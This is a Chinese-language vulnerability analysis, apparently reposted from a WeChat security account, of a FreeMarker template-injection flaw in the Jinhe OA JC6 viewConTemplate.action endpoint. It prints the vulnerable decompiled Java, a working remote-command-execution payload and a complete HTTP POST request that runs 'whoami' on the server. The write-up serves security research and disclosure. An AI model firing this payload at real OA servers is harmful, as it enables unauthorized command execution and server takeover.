开局一张图,CSDN上分享出来的只带POC的文章
漏洞出现在viewConTemplate.action方法中,完整URL为:
/jc6/platform/portalwb/portalwb-con-
template
!viewConTemplate.action
金和Jc6完全由Java开发编写,因此审计时候直接反编译Jar文件即可
搜索viewConTemplate方法,位于portalwbConTemplateAction类中
viewConTemplate方法的代码很短很简单,来分析下
首先代码如下:
FileOutputStream
out
=
null
;
try
{
String sameName =
this
.uuid +
".ftl"
;
File file =
new
File(PortalTemplateUtil.TEMPLATE_TEMP_DIR);
if
(!file.exists())
file.mkdirs();
out
=
new
FileOutputStream(PortalTemplateUtil.TEMPLATE_TEMP_DIR + File.separator + sameName);
String code =
this
.request.getParameter(
"code"
);
code = URLDecoder.decode(code,
"UTF-8"
);
code = code.replaceAll(
"<"
,
"<"
).replaceAll(
"""
,
"""
).replaceAll(
"'"
,
"'"
).replaceAll(
">"
,
">"
).replaceAll(
" "
,
" "
).replaceAll(
"<br />"
,
""
).replaceAll(
"<p>"
,
""
).replaceAll(
"</p>"
,
""
).replaceAll(
"&"
,
"&"
);
byte
[] b = code.getBytes();
out
.write(b);
out
.flush();
try
{
if
(
out
!=
null
)
out
.close();
}
catch
(IOException e) {
e.printStackTrace();
}
判断是否存在临时目录,不存在则新建目录和文件名
String
sameName =
this
.uuid +
".ftl"
;
File file =
new
File(PortalTemplateUtil.TEMPLATE_TEMP_DIR);
if
(!file.exists())
file.mkdirs();
out =
new
FileOutputStream(PortalTemplateUtil.TEMPLATE_TEMP_DIR + File.separator + sameName);
通过code参数接收模板内容,并替换编码的字符
String
code =
this
.request.getParameter(
"code"
);
code = code.replaceAll(
"<"
,
"<"
).replaceAll(
"""
,
"""
).replaceAll(
"'"
,
"'"
).replaceAll(
">"
,
">"
).replaceAll(
" "
,
" "
).replaceAll(
"<br />"
,
""
).replaceAll(
"<p>"
,
""
).replaceAll(
"</p>"
,
""
).replaceAll(
"&"
,
"&"
);
之后写入临时文件中
byte
[] b = code.getBytes();
out
.write(b);
out
.flush();
接着来到渲染模板的功能
此处读取临时文件内容,并渲染成Freemarker的模板,因为模板内容可以指定就造成了注入漏洞
咱们构造POC为:
code=${
"freemarker.template.utility.Execute"
?new()(
"whoami"
)}
使用Freemarker自带的 freemarker.template.utility.Execute
类里面命令执行方法,执行获取回显
之后根据前端页面接收参数,再传参uuid、moduId进行请求
构造请求数据包如下:
POST
/jc6/platform/portalwb/portalwb-con-template!viewConTemplate.action
HTTP/1.1
Host
: 127.0.0.1
User-Agent
: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type
: application/x-www-form-urlencoded
Content-Length
: 0
moduId=1&code=${
"freemarker.template.utility.Execute"
?new()(
"whoami"
)}&uuid=1
执行whoami命令,获得当前身份回显
至此FreeMarker模板注入漏洞分析完毕
原文始发于微信公众号(HackingWiki漏洞感知):金和OA JC6 FreeMarker模板注入漏洞简析
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论